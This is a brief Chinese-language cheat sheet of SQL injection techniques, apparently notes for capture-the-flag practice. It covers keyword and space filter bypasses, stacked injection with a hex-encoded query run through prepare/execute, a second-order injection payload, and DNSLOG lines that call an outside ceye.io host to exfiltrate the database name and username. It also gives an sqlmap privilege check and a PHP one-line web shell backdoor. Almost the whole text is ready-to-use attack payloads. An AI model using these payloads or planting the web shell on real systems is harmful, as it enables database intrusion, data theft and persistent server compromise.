几种过滤
- 过滤关键词,如select、update、insert等
- 过滤空格
堆叠注入
数据库类型支持多条语句;
;show databases;
;show tables;
;show columns from ``;
## 由于select被过滤,因此可以将列名改为flag再输出
## 或者,采用如下方法:
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
二次注入
先写入后组合的注入(如:注册——登录——修改); 受到攻击的sql语句:
update user set passwd='新密码' where username='用户名' and passwd='旧密码'
密码一般会被加密,不好入手,因此选择用户名攻击:
## 空格被过滤
x"^updatexml(1,concat(0x7e,(version())),0)#
DNSLOG注入
解决不回显,相比盲注更快,但适用范围不广,因为要用到load_file()
函数,需要root权限,并且secure_file_priv
需要为空,且需要操作系统为Windows(\\
为unc路径)。
ping test.dbuh8a.ceye.io
ping %USERNAME%.dbuh8a.ceye.io
select load_file('\\\\xxxx.dbuh8a.ceye.io\\aa'));
select load_file(concat('\\\\',(select database()),'.dbuh8a.ceye.io\\aa'));
高权限注入
数据库用户分为系统用户和普通用户。前者可看所有数据库,可进行文件读写;后者不行。 ⚠️所以,某些注入点可以读写文件。
# 判断是否高权限
python sqlmap.py -u "http://XXX?id=1" --is-dba
写入一句话后门
<?php eval($_POST['x']); ?>